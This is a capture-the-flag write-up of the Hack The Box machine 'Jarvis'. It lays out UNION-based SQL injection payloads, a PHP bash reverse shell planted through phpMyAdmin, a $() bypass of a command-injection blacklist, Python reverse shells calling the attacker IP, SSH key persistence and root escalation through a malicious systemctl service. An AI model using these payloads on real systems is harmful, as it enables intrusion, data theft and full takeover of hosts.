Hack the box: Jarvis
Jarvis was a medium difficulty box on HTB. Here’s my take on rooting the machine

Tl;dr: SQL injection vulnerability leads to disclosing SQL administrator credentials. Using them it’s possible to login to PHPMyAdmin which in turn allows to upload a reverse shell. Shell injection in a custom script leads to gaining user privleges. Privlege escalation is done by abusing systemctl that is used to run malicious service with root privleges.
Recon
Nmap scan reveals a webserver and SSH:
# nmap -sS -sV -n -O 10.10.10.143 Starting Nmap 7.70
--snip --
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
-- snip --
Addtionaly, dirb found an phpmyadmin instance (it’ll come handy later).
# dirb http://10.10.10.143/ /usr/share/wordlists/dirb/common.txt -R
-- snip --
URL_BASE: http://10.10.10.143/
WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt
OPTION: Interactive Recursion
-- snip --
==> DIRECTORY: http://10.10.10.143/css/ ==> DIRECTORY: http://10.10.10.143/fonts/ ==> DIRECTORY: http://10.10.10.143/images/ + http://10.10.10.143/index.php (CODE:200|SIZE:23628) ==> DIRECTORY: http://10.10.10.143/js/ ==> DIRECTORY: http://10.10.10.143/phpmyadmin/
SQL injection in /room.php?cod
In the room.php site there is a room id supplied through ‘cod’ GET parameter. It seems to be vulnerable to SQL injection. Adding correct SQL statements to returns correct value:
1 ORDER BY 7

On the other hand ordering by anything above 7 seems to break the query:
1 ORDER BY 8

That means that original query selects 7 columns. Which of them are actually reflected on the site?
0 UNION ALL SELECT 1,2,3,4,5,6,7

Now I can use those columns to read any data from the database. For example SQL admin’s password:
0 UNION ALL SELECT 1,user,3,password,host,6,7 FROM mysql.user

Reversing password
https://crackstation.net/ can reverse the hash to imissyou
Reverse shell
With DB credentials it’s possible to login to phpmyadmin found by dirb. Then, I use it’s ability to issue SQL commands to write PHP reverse shell to server:
SELECT
"<?php exec(\\"/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.6/443 0>&1'\\"); ?>"
INTO OUTFILE "/var/www/html/images/revshell.php"
Now I can spawn reverse shell by requesting /images/revshell.php:
# nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.15.6] from (UNKNOWN) [10.10.10.143] 57252
bash: cannot set terminal process group (605): Inappropriate ioctl for device
bash: no job control in this shell
www-data@jarvis:/var/www/html/images$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@jarvis:/var/www/html/images$
Escalate to user
Unfortunately I can’t read the flag just yet:
www-data@jarvis:/home/pepper$ stat user.txt
stat user.txt
File: user.txt
Size: 33 Blocks: 8 IO Block: 4096 regular file
Device: 801h/2049d Inode: 655369 Links: 1
Access: (0440/-r--r-----) Uid: ( 0/ root) Gid: ( 1000/ pepper)
Access: 2019-03-05 07:40:37.871997828 -0500
Modify: 2019-03-05 07:11:01.000000000 -0500
Change: 2019-03-05 07:26:01.727994624 -0500
Birth: -
The flag file is only readable for root and user “pepper”. Fortunately sudo allows to run some custom script as pepper:
www-data@jarvis:/home/pepper$ sudo -ll
sudo -ll
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/binUser www-data may run the following commands on jarvis:Sudoers entry:
RunAsUsers: pepper
RunAsGroups: ALL
Options: !authenticate
Commands:
/var/www/Admin-Utilities/simpler.py
The script has a ping function that takes an IP from console and supplies it to system ping:
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
The function does try to prevent command injection with a simple blacklist but it’s not nearly enough. I prepare another reverse shell in /tmp/revshell.py:
echo "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.15.6',1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);" > /tmp/revshell.py
This allows me to run above script as pepper by using sudo:
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
When script asks for ip I bypass the blacklist by using dollar sign notation:
Enter an IP: $(python /tmp/revshell.py)
This spawns reverse shell with pepper privileges and ultimately allows me to read user flag:
# nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.15.6] from (UNKNOWN) [10.10.10.143] 48254
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(pepper) gid=1000(pepper) groups=1000(pepper)
$ cat /home/pepper/user.txt
2afa...
Securing user shell
Above shell is very limited to use. I take my pregenerated SSH key and add to autorized_keys:
$ echo "ssh-rsa AAAAB3..." >> /home/pepper/.ssh/authorized_key
It allows me to login to SSH using command:
# ssh pepper@10.10.10.10.143 -c aes256-ctr -i id_rsa
Privlege escalation
Running linuxprivchecker.py on victim shows that systemctl has sticky bit set:
$ python linuxprivchecker.py
-- snip --
[+] SUID/SGID Files and Directories
-rwsr-x--- 1 root pepper 174520 Feb 17 2019 /bin/systemctl
-- snip --
It can be used it to run a custom reverse shell as root service. First I create a service file:
[Unit]
Description=Revshell
After=network.target
Type=simple
Restart=always
RestartSec=1[Service]
User=root
ExecStart=/usr/bin/env python /home/pepper/tellico/revshell.py
ExecStop=echo done[Install]
WantedBy=multi-user.target
My exploit also needs a revshell payload under /home/pepper/tellico/revshell.py path:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.15.6',1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);
All that’s left to do is to install and run the service:
pepper@jarvis:~/tellico$ systemctl enable /home/pepper/tellico/revshell.service
pepper@jarvis:~/tellico$ systemctl start revshell.service
It spawns a reverse shell with root privleges:
# nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.15.6] from (UNKNOWN) [10.10.10.143] 53020
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
sqli_defender.py
# cat root.txt
d41...